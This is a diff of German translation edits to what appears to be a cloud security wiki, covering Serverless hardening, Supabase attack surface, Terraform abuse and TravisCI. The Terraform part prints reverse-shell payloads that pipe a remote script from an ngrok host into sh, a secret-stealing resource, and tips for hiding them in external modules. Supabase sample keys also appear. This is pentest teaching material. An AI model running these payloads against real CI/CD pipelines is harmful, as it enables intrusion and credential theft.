+- **Secrets Manager Integration:** Verwenden Sie Dienste wie **AWS Secrets Manager.**
 - **Verschlüsselte Variablen:** Nutzen Sie die Verschlüsselungsfunktionen des Serverless Frameworks für sensible Daten.
 - **Zugriffskontrollen:** Beschränken Sie den Zugriff auf Geheimnisse basierend auf Rollen.

@@ -583,7 +583,7 @@ Veraltete oder unsichere Abhängigkeiten können Schwachstellen einführen, wäh

 #### **Minderungsstrategien**

- **Abhängigkeitsmanagement:** Aktualisieren Sie regelmäßig Abhängigkeiten und scannen Sie auf Schwachstellen.
+- **Abhängigkeitsmanagement:** Aktualisieren Sie regelmäßig Abhängigkeiten und scannen Sie nach Schwachstellen.

 ```yaml
 plugins:
@@ -592,7 +592,7 @@ plugins:
 ```

 - **Eingangsvalidierung:** Implementieren Sie strenge Validierung und Sanitärung aller Eingaben.
- **Code-Überprüfungen:** Führen Sie gründliche Überprüfungen durch, um Sicherheitsanfälligkeiten zu identifizieren.
+- **Code-Überprüfungen:** Führen Sie gründliche Überprüfungen durch, um Sicherheitsfehler zu identifizieren.
 - **Statische Analyse:** Verwenden Sie Tools, um Schwachstellen im Code zu erkennen.

 ---
@@ -610,8 +610,8 @@ plugins:
 - serverless-plugin-datadog
 ```

- **Detailliertes Logging aktivieren:** Erfassen Sie wesentliche Informationen, ohne sensible Daten offenzulegen.
- **Alarme einrichten:** Konfigurieren Sie Alarme für verdächtige Aktivitäten oder Anomalien.
+- **Aktivieren Sie detailliertes Logging:** Erfassen Sie wesentliche Informationen, ohne sensible Daten offenzulegen.
+- **Einrichten von Warnungen:** Konfigurieren Sie Warnungen für verdächtige Aktivitäten oder Anomalien.
 - **Regelmäßige Überwachung:** Überwachen Sie kontinuierlich Protokolle und Metriken auf potenzielle Sicherheitsvorfälle.

 ---
@@ -672,7 +672,7 @@ Geteilte Ressourcen und unzureichende Isolation können zu Privilegieneskalation
 #### **Minderungsstrategien**

 - **Funktionen isolieren:** Weisen Sie unterschiedliche Ressourcen und IAM-Rollen zu, um einen unabhängigen Betrieb sicherzustellen.
- **Ressourcenpartitionierung:** Verwenden Sie separate Datenbanken oder Speicherorte für verschiedene Funktionen.
+- **Ressourcenteilung:** Verwenden Sie separate Datenbanken oder Speicherorte für verschiedene Funktionen.
 - **Verwenden Sie VPCs:** Stellen Sie Funktionen innerhalb von Virtual Private Clouds für verbesserte Netzisolierung bereit.

 ```yaml
@@ -708,7 +708,7 @@ SSEEnabled: true

 - **Daten während der Übertragung verschlüsseln:** Verwenden Sie HTTPS/TLS für alle Datenübertragungen.
 - **Sichere API-Kommunikation:** Erzwingen Sie Verschlüsselungsprotokolle und validieren Sie Zertifikate.
- **Verschlüsselungsschlüssel sicher verwalten:** Verwenden Sie verwaltete Schlüsseldienste und rotieren Sie Schlüssel regelmäßig.
+- **Verwalten Sie Verschlüsselungsschlüssel sicher:** Verwenden Sie verwaltete Schlüsseldienste und rotieren Sie Schlüssel regelmäßig.

 ---

@@ -736,11 +736,11 @@ body: JSON.stringify({ message: 'Interner Serverfehler' }),
 ```

 - **Zentralisierte Fehlerbehandlung:** Verwalten und sanitieren Sie Fehler konsistent über alle Funktionen hinweg.
- **Fehler überwachen und protokollieren:** Verfolgen und analysieren Sie Fehler intern, ohne Details an Endbenutzer offenzulegen.
+- **Überwachen und Protokollieren von Fehlern:** Verfolgen und analysieren Sie Fehler intern, ohne Details für Endbenutzer offenzulegen.

 ---

-### **Unsichere Bereitstellungsmethoden**
+### **Unsichere Bereitstellung Praktiken**

 Offengelegte Bereitstellungskonfigurationen oder unbefugter Zugriff auf CI/CD-Pipelines können zu böswilligen Codebereitstellungen oder Fehlkonfigurationen führen.

@@ -748,8 +748,8 @@ Offengelegte Bereitstellungskonfigurationen oder unbefugter Zugriff auf CI/CD-Pi

 - **Sichere CI/CD-Pipelines:** Implementieren Sie strenge Zugriffskontrollen, Multi-Faktor-Authentifizierung (MFA) und regelmäßige Audits.
 - **Konfiguration sicher speichern:** Halten Sie Bereitstellungsdateien frei von hardcodierten Geheimnissen und sensiblen Daten.
- **Verwenden Sie Sicherheitswerkzeuge für Infrastructure as Code (IaC):** Setzen Sie Tools wie **Checkov** oder **Terraform Sentinel** ein, um Sicherheitsrichtlinien durchzusetzen.
- **Unveränderliche Bereitstellungen:** Verhindern Sie unbefugte Änderungen nach der Bereitstellung, indem Sie Praktiken der unveränderlichen Infrastruktur übernehmen.
+- **Verwenden Sie Sicherheitswerkzeuge für Infrastruktur als Code (IaC):** Verwenden Sie Tools wie **Checkov** oder **Terraform Sentinel**, um Sicherheitsrichtlinien durchzusetzen.
+- **Unveränderliche Bereitstellungen:** Verhindern Sie unbefugte Änderungen nach der Bereitstellung, indem Sie Praktiken für unveränderliche Infrastruktur übernehmen.

 ---

@@ -761,8 +761,8 @@ Die Verwendung von nicht geprüften oder bösartigen Drittanbieter-Plugins kann

 - **Plugins gründlich prüfen:** Bewerten Sie die Sicherheit von Plugins vor der Integration und bevorzugen Sie solche aus seriösen Quellen.
 - **Verwendung von Plugins einschränken:** Verwenden Sie nur notwendige Plugins, um die Angriffsfläche zu minimieren.
- **Plugin-Updates überwachen:** Halten Sie Plugins auf dem neuesten Stand, um von Sicherheitsupdates zu profitieren.
- **Plugin-Umgebungen isolieren:** Führen Sie Plugins in isolierten Umgebungen aus, um potenzielle Kompromisse einzudämmen.
+- **Überwachen Sie Plugin-Updates:** Halten Sie Plugins auf dem neuesten Stand, um von Sicherheitsupdates zu profitieren.
+- **Isolieren Sie Plugin-Umgebungen:** Führen Sie Plugins in isolierten Umgebungen aus, um potenzielle Kompromisse einzudämmen.

 ---

@@ -775,7 +775,7 @@ Die Verwendung von nicht geprüften oder bösartigen Drittanbieter-Plugins kann
 - **Zugriff auf Funktionen einschränken:** Verwenden Sie VPCs, Sicherheitsgruppen und Firewall-Regeln, um den Zugriff auf vertrauenswürdige Quellen zu beschränken.
 - **Robuste Authentifizierung implementieren:** Stellen Sie sicher, dass alle exponierten Endpunkte eine ordnungsgemäße Authentifizierung und Autorisierung erfordern.
 - **API-Gateways sicher verwenden:** Konfigurieren Sie API-Gateways, um Sicherheitsrichtlinien durchzusetzen, einschließlich Eingangsvalidierung und Ratenbegrenzung.
- **Nicht verwendete Endpunkte deaktivieren:** Überprüfen Sie regelmäßig und deaktivieren Sie alle Endpunkte, die nicht mehr verwendet werden.
+- **Deaktivieren Sie ungenutzte Endpunkte:** Überprüfen Sie regelmäßig und deaktivieren Sie alle Endpunkte, die nicht mehr verwendet werden.

 ---

@@ -794,14 +794,14 @@ Das Gewähren übermäßiger Berechtigungen an Teammitglieder und externe Mitarb
 **Zugriffsschlüssel** und **Lizenzschlüssel** sind kritische Anmeldeinformationen, die zur Authentifizierung und Autorisierung von Interaktionen mit der Serverless Framework CLI verwendet werden.

 - **Lizenzschlüssel:** Sie sind eindeutige Identifikatoren, die für die Authentifizierung des Zugriffs auf die Serverless Framework Version 4 erforderlich sind, die eine Anmeldung über die CLI ermöglicht.
- **Zugriffsschlüssel:** Anmeldeinformationen, die es der Serverless Framework CLI ermöglichen, sich beim Serverless Framework Dashboard zu authentifizieren. Bei der Anmeldung mit der `serverless`-CLI wird ein Zugriffsschlüssel **generiert und auf dem Laptop gespeichert**. Sie können ihn auch als Umgebungsvariable mit dem Namen `SERVERLESS_ACCESS_KEY` festlegen.
+- **Zugriffsschlüssel:** Anmeldeinformationen, die es der Serverless Framework CLI ermöglichen, sich beim Serverless Framework Dashboard zu authentifizieren. Bei der Anmeldung mit `serverless` cli wird ein Zugriffsschlüssel **generiert und auf dem Laptop gespeichert**. Sie können ihn auch als Umgebungsvariable mit dem Namen `SERVERLESS_ACCESS_KEY` festlegen.

 #### **Sicherheitsrisiken**

 1. **Offenlegung durch Code-Repositories:**
 - Hardcoding oder versehentliches Committen von Zugriffsschlüsseln und Lizenzschlüsseln in Versionskontrollsysteme kann zu unbefugtem Zugriff führen.
 2. **Unsichere Speicherung:**
- Das Speichern von Schlüsseln im Klartext innerhalb von Umgebungsvariablen oder Konfigurationsdateien ohne angemessene Verschlüsselung erhöht die Wahrscheinlichkeit einer Offenlegung.
+- Das Speichern von Schlüsseln im Klartext innerhalb von Umgebungsvariablen oder Konfigurationsdateien ohne angemessene Verschlüsselung erhöht die Wahrscheinlichkeit eines Lecks.
 3. **Unsachgemäße Verteilung:**
 - Das Teilen von Schlüsseln über unsichere Kanäle (z. B. E-Mail, Chat) kann zu einer Abfangung durch böswillige Akteure führen.
 4. **Mangelnde Rotation:**
@@ -4,7 +4,7 @@

 ## Grundinformationen

-Laut ihrer [**Landing Page**](https://supabase.com/): Supabase ist eine Open-Source-Alternative zu Firebase. Starten Sie Ihr Projekt mit einer Postgres-Datenbank, Authentifizierung, sofortigen APIs, Edge-Funktionen, Echtzeit-Abonnements, Speicher und Vektor-Einbettungen.
+Laut ihrer [**Landing Page**](https://supabase.com/): Supabase ist eine Open-Source-Alternative zu Firebase. Starten Sie Ihr Projekt mit einer Postgres-Datenbank, Authentifizierung, sofortigen APIs, Edge-Funktionen, Echtzeit-Abonnements, Speicher und Vektor-Embeddings.

 ### Subdomain

@@ -18,7 +18,7 @@ Im Grunde erhält der Benutzer, wenn ein Projekt erstellt wird, eine supabase.co
 Diese **Datenbank** wird in einer AWS-Region bereitgestellt, und um eine Verbindung herzustellen, wäre es möglich, sich zu verbinden: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (dies wurde in us-west-1 erstellt).\
 Das Passwort ist ein **Passwort, das der Benutzer zuvor eingegeben hat**.

-Daher, da die Subdomain bekannt ist und als Benutzername verwendet wird und die AWS-Regionen begrenzt sind, könnte es möglich sein, zu versuchen, das **Passwort zu brute-forcen**.
+Da die Subdomain bekannt ist und als Benutzername verwendet wird und die AWS-Regionen begrenzt sind, könnte es möglich sein, das **Passwort zu brute-forcen**.

 Dieser Abschnitt enthält auch Optionen zum:

@@ -37,9 +37,9 @@ Die URL zum Zugriff auf die Supabase-API in Ihrem Projekt wird wie folgt aussehe

 ### anon API-Schlüssel

-Es wird auch einen **anon API-Schlüssel** (`role: "anon"`) generieren, wie: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`, den die Anwendung verwenden muss, um den in unserem Beispiel exponierten API-Schlüssel zu kontaktieren.
+Es wird auch einen **anon API-Schlüssel** (`role: "anon"`) generieren, wie: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` den die Anwendung verwenden muss, um den in unserem Beispiel exponierten API-Schlüssel zu kontaktieren.

-Es ist möglich, die API REST zu finden, um diese API in den [**Docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server) zu kontaktieren, aber die interessantesten Endpunkte wären:
+Es ist möglich, die REST-API zu finden, um diese API in den [**Docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server) zu kontaktieren, aber die interessantesten Endpunkte wären:

 <details>

@@ -99,7 +99,7 @@ Priority: u=1, i
 ```
 </details>

-So, wann immer Sie einen Kunden entdecken, der Supabase mit der Subdomain verwendet, die ihm zugewiesen wurde (es ist möglich, dass eine Subdomain des Unternehmens ein CNAME über ihre Supabase-Subdomain hat), sollten Sie versuchen, **ein neues Konto auf der Plattform über die Supabase-API zu erstellen**.
+Wenn Sie also einen Kunden entdecken, der Supabase mit der Subdomain verwendet, die ihm zugewiesen wurde (es ist möglich, dass eine Subdomain des Unternehmens ein CNAME über ihre Supabase-Subdomain hat), sollten Sie versuchen, **ein neues Konto auf der Plattform über die Supabase-API zu erstellen**.

 ### secret / service_role API-Schlüssel

@@ -126,7 +126,7 @@ Das ist eine sehr schlechte Idee, da Supabase pro aktivem Benutzer Gebühren erh
 ### Passwörter & Sitzungen

 Es ist möglich, die minimale Passwortlänge anzugeben (standardmäßig), Anforderungen (standardmäßig keine) und die Verwendung von geleakten Passwörtern zu untersagen.\
-Es wird empfohlen, die **Anforderungen zu verbessern, da die Standardanforderungen schwach sind**.
+Es wird empfohlen, die Anforderungen zu **verbessern, da die Standardanforderungen schwach sind**.

 - Benutzersitzungen: Es ist möglich zu konfigurieren, wie Benutzersitzungen funktionieren (Timeouts, 1 Sitzung pro Benutzer...)
 - Bot- und Missbrauchsschutz: Es ist möglich, Captcha zu aktivieren.
@@ -137,19 +137,19 @@ Es ist möglich, ein SMTP einzurichten, um E-Mails zu senden.

 ### Erweiterte Einstellungen

- Ablaufzeit für Zugriffstoken festlegen (3600 standardmäßig)
- Festlegen, um potenziell kompromittierte Aktualisierungstoken zu erkennen und zu widerrufen sowie Timeout
- MFA: Angeben, wie viele MFA-Faktoren gleichzeitig pro Benutzer registriert werden können (10 standardmäßig)
- Maximale direkte Datenbankverbindungen: Maximale Anzahl von Verbindungen, die zur Authentifizierung verwendet werden (10 standardmäßig)
- Maximale Anforderungsdauer: Maximale Zeit, die für eine Auth-Anforderung zulässig ist (10s standardmäßig)
+- Ablaufzeit für Zugriffstoken festlegen (standardmäßig 3600)
+- Erkennen und Widerrufen potenziell kompromittierter Aktualisierungstoken und Timeout festlegen
+- MFA: Angeben, wie viele MFA-Faktoren gleichzeitig pro Benutzer registriert werden können (standardmäßig 10)
+- Maximale direkte Datenbankverbindungen: Maximale Anzahl von Verbindungen, die zur Authentifizierung verwendet werden (standardmäßig 10)
+- Maximale Anforderungsdauer: Maximale Zeit, die für eine Auth-Anforderung zulässig ist (standardmäßig 10s)

 ## Speicherung

 > [!TIP]
-> Supabase ermöglicht **das Speichern von Dateien** und macht sie über eine URL zugänglich (es verwendet S3-Buckets).
+> Supabase ermöglicht **das Speichern von Dateien** und deren Zugriff über eine URL (es verwendet S3-Buckets).

- Legen Sie das Upload-Dateigrößenlimit fest (Standard ist 50 MB)
- Die S3-Verbindung wird mit einer URL wie folgt angegeben: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
+- Die Upload-Dateigrößenbeschränkung festlegen (standardmäßig 50 MB)
+- Die S3-Verbindung wird mit einer URL wie folgt bereitgestellt: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
 - Es ist möglich, **S3-Zugriffsschlüssel** anzufordern, die aus einer `access key ID` (z. B. `a37d96544d82ba90057e0e06131d0a7b`) und einem `secret access key` (z. B. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) bestehen

 ## Edge-Funktionen
@@ -6,7 +6,7 @@

 [Aus den Dokumenten:](https://developer.hashicorp.com/terraform/intro)

-HashiCorp Terraform ist ein **Infrastructure as Code-Tool**, mit dem Sie sowohl **Cloud- als auch On-Premise-Ressourcen** in menschenlesbaren Konfigurationsdateien definieren können, die Sie versionieren, wiederverwenden und teilen können. Sie können dann einen konsistenten Workflow verwenden, um Ihre gesamte Infrastruktur während ihres Lebenszyklus bereitzustellen und zu verwalten. Terraform kann niedrigstufige Komponenten wie Compute-, Speicher- und Netzwerkressourcen sowie hochstufige Komponenten wie DNS-Einträge und SaaS-Funktionen verwalten.
+HashiCorp Terraform ist ein **Infrastructure as Code-Tool**, mit dem Sie sowohl **Cloud- als auch On-Prem-Ressourcen** in menschenlesbaren Konfigurationsdateien definieren können, die Sie versionieren, wiederverwenden und teilen können. Sie können dann einen konsistenten Workflow verwenden, um Ihre gesamte Infrastruktur während ihres Lebenszyklus bereitzustellen und zu verwalten. Terraform kann niedrigstufige Komponenten wie Compute-, Speicher- und Netzwerkressourcen sowie hochgradige Komponenten wie DNS-Einträge und SaaS-Funktionen verwalten.

 #### Wie funktioniert Terraform?

@@ -14,11 +14,11 @@ Terraform erstellt und verwaltet Ressourcen auf Cloud-Plattformen und anderen Di

 ![](<../images/image (177).png>)

-HashiCorp und die Terraform-Community haben bereits **mehr als 1700 Anbieter** geschrieben, um Tausende von verschiedenen Arten von Ressourcen und Diensten zu verwalten, und diese Zahl wächst weiter. Alle öffentlich verfügbaren Anbieter finden Sie im [Terraform-Registry](https://registry.terraform.io/), einschließlich Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog und vielen mehr.
+HashiCorp und die Terraform-Community haben bereits **mehr als 1700 Anbieter** geschrieben, um Tausende von verschiedenen Arten von Ressourcen und Diensten zu verwalten, und diese Zahl wächst weiter. Sie finden alle öffentlich verfügbaren Anbieter im [Terraform-Registry](https://registry.terraform.io/), einschließlich Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog und vielen mehr.

-Der Kern-Workflow von Terraform besteht aus drei Phasen:
+Der grundlegende Terraform-Workflow besteht aus drei Phasen:

- **Schreiben:** Sie definieren Ressourcen, die über mehrere Cloud-Anbieter und Dienste verteilt sein können. Zum Beispiel könnten Sie eine Konfiguration erstellen, um eine Anwendung auf virtuellen Maschinen in einem Virtual Private Cloud (VPC)-Netzwerk mit Sicherheitsgruppen und einem Lastenausgleich bereitzustellen.
+- **Schreiben:** Sie definieren Ressourcen, die über mehrere Cloud-Anbieter und -Dienste verteilt sein können. Zum Beispiel könnten Sie eine Konfiguration erstellen, um eine Anwendung auf virtuellen Maschinen in einem Virtual Private Cloud (VPC)-Netzwerk mit Sicherheitsgruppen und einem Lastenausgleich bereitzustellen.
 - **Planen:** Terraform erstellt einen Ausführungsplan, der die Infrastruktur beschreibt, die es basierend auf der vorhandenen Infrastruktur und Ihrer Konfiguration erstellen, aktualisieren oder zerstören wird.
 - **Anwenden:** Nach Genehmigung führt Terraform die vorgeschlagenen Operationen in der richtigen Reihenfolge aus und respektiert dabei alle Ressourcenabhängigkeiten. Wenn Sie beispielsweise die Eigenschaften einer VPC aktualisieren und die Anzahl der virtuellen Maschinen in dieser VPC ändern, wird Terraform die VPC neu erstellen, bevor es die virtuellen Maschinen skalieren kann.

@@ -28,7 +28,7 @@ Der Kern-Workflow von Terraform besteht aus drei Phasen:

 Installieren Sie einfach Terraform auf Ihrem Computer.

-Hier haben Sie eine [Anleitung](https://learn.hashicorp.com/tutorials/terraform/install-cli) und hier haben Sie die [beste Möglichkeit, Terraform herunterzuladen](https://www.terraform.io/downloads).
+Hier haben Sie einen [Leitfaden](https://learn.hashicorp.com/tutorials/terraform/install-cli) und hier haben Sie die [beste Möglichkeit, Terraform herunterzuladen](https://www.terraform.io/downloads).

 ## RCE in Terraform

@@ -36,7 +36,7 @@ Terraform **hat keine Plattform, die eine Webseite oder einen Netzwerkdienst** b

 Allerdings ist Terraform ein **sehr sensibler Bestandteil**, der kompromittiert werden kann, da es **privilegierten Zugriff** auf verschiedene Standorte hat, damit es ordnungsgemäß funktioniert.

-Der Hauptweg für einen Angreifer, um das System, auf dem Terraform läuft, zu kompromittieren, besteht darin, **das Repository zu kompromittieren, das Terraform-Konfigurationen speichert**, da diese irgendwann **interpretiert** werden.
+Der Hauptweg für einen Angreifer, um das System, auf dem Terraform läuft, zu kompromittieren, besteht darin, **das Repository zu kompromittieren, das Terraform-Konfigurationen speichert**, da sie irgendwann **interpretiert** werden.

 Tatsächlich gibt es Lösungen, die **Terraform-Plan/Apply automatisch ausführen, nachdem ein PR** erstellt wurde, wie **Atlantis**:

@@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
 ```
 **Verwendung eines benutzerdefinierten Anbieters**

-Ein Angreifer könnte einen [benutzerdefinierten Anbieter](https://learn.hashicorp.com/tutorials/terraform/provider-setup) an das [Terraform-Register](https://registry.terraform.io/) senden und ihn dann im Terraform-Code in einem Feature-Branch hinzufügen ([Beispiel hier](https://alex.kaskaso.li/post/terraform-plan-rce)):
+Ein Angreifer könnte einen [benutzerdefinierten Anbieter](https://learn.hashicorp.com/tutorials/terraform/provider-setup) an das [Terraform-Registry](https://registry.terraform.io/) senden und ihn dann zum Terraform-Code in einem Feature-Branch hinzufügen ([Beispiel hier](https://alex.kaskaso.li/post/terraform-plan-rce)):
 ```javascript
 terraform {
 required_providers {
@@ -75,28 +75,28 @@ version = "1.0"

 provider "evil" {}
 ```
-Der Provider wird im `init` heruntergeladen und führt den schädlichen Code aus, wenn `plan` ausgeführt wird.
+Der Anbieter wird im `init` heruntergeladen und führt den schädlichen Code aus, wenn `plan` ausgeführt wird.

-Ein Beispiel finden Sie unter [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
+Sie finden ein Beispiel unter [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)

 **Verwendung eines externen Verweises**

 Beide genannten Optionen sind nützlich, aber nicht sehr stealthy (die zweite ist stealthier, aber komplexer als die erste). Sie können diesen Angriff sogar auf eine **stealthier Weise** durchführen, indem Sie diese Vorschläge befolgen:

- Anstatt die rev shell direkt in die Terraform-Datei einzufügen, können Sie **eine externe Ressource laden**, die die rev shell enthält:
+- Anstatt die rev shell direkt in die terraform-Datei einzufügen, können Sie **eine externe Ressource laden**, die die rev shell enthält:
 ```javascript
 module "not_rev_shell" {
 source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
 }
 ```
-Du kannst den rev shell Code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) finden.
+Sie können den rev shell Code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) finden.

- Verwende im externen Ressourcen die **ref**-Funktion, um den **terraform rev shell code in einem Branch** innerhalb des Repos zu verbergen, etwas wie: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- Verwenden Sie in der externen Ressource die **ref**-Funktion, um den **Terraform rev shell Code in einem Branch** innerhalb des Repos zu verbergen, etwas wie: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`

 ### Terraform Apply

-Terraform apply wird ausgeführt, um alle Änderungen anzuwenden. Du kannst es auch missbrauchen, um RCE zu erhalten, indem du **eine bösartige Terraform-Datei mit** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** injizierst.**\
-Du musst nur sicherstellen, dass eine Payload wie die folgenden im `main.tf`-Datei endet:
+Terraform apply wird ausgeführt, um alle Änderungen anzuwenden. Sie können es auch missbrauchen, um RCE zu erhalten, indem Sie **eine bösartige Terraform-Datei mit** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** injizieren.**\
+Sie müssen nur sicherstellen, dass eine Nutzlast wie die folgenden im `main.tf`-Datei endet:
 ```json
 // Payload 1 to just steal a secret
 resource "null_resource" "secret_stealer" {
@@ -112,7 +112,7 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
 }
 }
 ```
-Folgen Sie den **Vorschlägen aus der vorherigen Technik**, um diesen Angriff auf eine **diskretere Weise unter Verwendung externer Referenzen** durchzuführen.
+Befolgen Sie die **Vorschläge aus der vorherigen Technik**, um diesen Angriff auf eine **diskretere Weise unter Verwendung externer Referenzen** durchzuführen.

 ## Secrets Dumps

@@ -126,7 +126,7 @@ value = nonsensitive(var.do_token)

 Falls Sie Schreibzugriff auf Terraform-Zustandsdateien haben, aber den Terraform-Code nicht ändern können, bietet [**diese Forschung**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) einige interessante Optionen, um die Datei auszunutzen:

-### Ressourcen löschen <a href="#deleting-resources" id="deleting-resources"></a>
+### Löschen von Ressourcen <a href="#deleting-resources" id="deleting-resources"></a>

 Es gibt 2 Möglichkeiten, Ressourcen zu zerstören:

@@ -167,9 +167,9 @@ Es ist auch möglich, einen [benutzerdefinierten Anbieter](https://developer.has
 ]
 },
 ```
-### Ersetzen des auf der Blacklist stehenden Providers
+### Ersetzen des auf der Blacklist stehenden Anbieters

-Falls Sie auf eine Situation stoßen, in der `hashicorp/external` auf der Blacklist steht, können Sie den `external` Provider wie folgt neu implementieren. Hinweis: Wir verwenden einen Fork des External Providers, der von https://registry.terraform.io/providers/nazarewk/external/latest veröffentlicht wurde. Sie können auch Ihren eigenen Fork oder Ihre eigene Neuimplementierung veröffentlichen.
+Falls Sie auf eine Situation stoßen, in der `hashicorp/external` auf der Blacklist steht, können Sie den `external` Anbieter wie folgt neu implementieren. Hinweis: Wir verwenden einen Fork des externen Anbieters, der von https://registry.terraform.io/providers/nazarewk/external/latest veröffentlicht wurde. Sie können auch Ihren eigenen Fork oder Ihre eigene Neuimplementierung veröffentlichen.
 ```terraform
 terraform {
 required_providers {
@@ -217,7 +217,7 @@ checkov -d /path/to/folder
 ```
 ### [terraform-compliance](https://github.com/terraform-compliance/cli)

-Aus den [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` ist ein leichtgewichtiges, auf Sicherheit und Compliance fokussiertes Testframework gegen terraform, um die negative Testfähigkeit für Ihre Infrastruktur-as-Code zu ermöglichen.
+Aus den [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` ist ein leichtgewichtiges, auf Sicherheit und Compliance fokussiertes Testframework gegen terraform, um negative Testfähigkeiten für Ihre Infrastruktur-as-Code zu ermöglichen.

 - **compliance:** Stellen Sie sicher, dass der implementierte Code den Sicherheitsstandards und Ihren eigenen benutzerdefinierten Standards entspricht.
 - **behaviour driven development:** Wir haben BDD für fast alles, warum nicht für IaC?
@@ -227,34 +227,20 @@ Aus den [**docs**](https://github.com/terraform-compliance/cli): `terraform-comp
 - **segregation of duty:** Sie können Ihre Tests in einem anderen Repository aufbewahren, für das ein separates Team verantwortlich ist.

 > [!NOTE]
-> Leider, wenn der Code einige Anbieter verwendet, auf die Sie keinen Zugriff haben, können Sie den `terraform plan` nicht ausführen und dieses Tool nicht verwenden.
+> Leider können Sie, wenn der Code einige Anbieter verwendet, auf die Sie keinen Zugriff haben, den `terraform plan` nicht ausführen und dieses Tool nicht verwenden.
 ```bash
 pip install terraform-compliance
 terraform plan -out=plan.out
 terraform-compliance -f /path/to/folder
 ```
-### [tfsec](https://github.com/aquasecurity/tfsec)
-
-Von den [**docs**](https://github.com/aquasecurity/tfsec): tfsec verwendet statische Analyse Ihres Terraform-Codes, um potenzielle Fehlkonfigurationen zu erkennen.
-
- ☁️ Überprüft Fehlkonfigurationen bei allen großen (und einigen kleineren) Cloud-Anbietern
- ⛔ Hunderte von integrierten Regeln
- 🪆 Scannt Module (lokal und remote)
- ➕ Bewertet HCL-Ausdrücke sowie literale Werte
- ↪️ Bewertet Terraform-Funktionen z.B. `concat()`
- 🔗 Bewertet Beziehungen zwischen Terraform-Ressourcen
- 🧰 Kompatibel mit dem Terraform CDK
- 🙅 Wendet (und verfeinert) benutzerdefinierte Rego-Richtlinien an
- 📃 Unterstützt mehrere Ausgabeformate: lovely (Standard), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ Konfigurierbar (über CLI-Flags und/oder Konfigurationsdatei)
- ⚡ Sehr schnell, in der Lage, riesige Repositories schnell zu scannen
+### [tfsec
 ```bash
 brew install tfsec
 tfsec /path/to/folder
 ```
 ### [KICKS](https://github.com/Checkmarx/kics)

-Finden Sie Sicherheitsanfälligkeiten, Compliance-Probleme und Infrastrukturfehlkonfigurationen früh im Entwicklungszyklus Ihrer Infrastruktur-as-Code mit **KICS** von Checkmarx.
+Finden Sie Sicherheitsanfälligkeiten, Compliance-Probleme und Fehlkonfigurationen der Infrastruktur früh im Entwicklungszyklus Ihrer Infrastruktur-as-Code mit **KICS** von Checkmarx.

 **KICS** steht für **K**eeping **I**nfrastructure as **C**ode **S**ecure, es ist Open Source und ein Muss für jedes cloud-native Projekt.
 ```bash
@@ -265,7 +251,7 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
 Aus den [**docs**](https://github.com/tenable/terrascan): Terrascan ist ein statischer Code-Analyzer für Infrastructure as Code. Terrascan ermöglicht es Ihnen:

 - Nahtlos Infrastruktur als Code auf Fehlkonfigurationen zu scannen.
- Bereitgestellte Cloud-Infrastruktur auf Konfigurationsänderungen zu überwachen, die eine Abweichung der Sicherheitslage einführen, und ermöglicht das Zurückkehren zu einer sicheren Sicherheitslage.
+- Bereitgestellte Cloud-Infrastruktur auf Konfigurationsänderungen zu überwachen, die eine Abweichung der Sicherheitslage einführen, und ermöglicht das Zurückkehren zu einer sicheren Lage.
 - Sicherheitsanfälligkeiten und Compliance-Verstöße zu erkennen.
 - Risiken zu mindern, bevor cloud-native Infrastruktur bereitgestellt wird.
 - Bietet Flexibilität, lokal zu laufen oder in Ihre CI\CD zu integrieren.
@@ -4,7 +4,7 @@

 ## Was ist TravisCI

-**Travis CI** ist ein **gehosteter** oder vor **Ort** **kontinuierlicher Integrations**dienst, der verwendet wird, um Softwareprojekte zu erstellen und zu testen, die auf mehreren **verschiedenen Git-Plattformen** gehostet werden.
+**Travis CI** ist ein **gehosteter** oder vor Ort **kontinuierlicher Integrations**dienst, der verwendet wird, um Softwareprojekte zu erstellen und zu testen, die auf mehreren **verschiedenen Git-Plattformen** gehostet werden.

 {{#ref}}
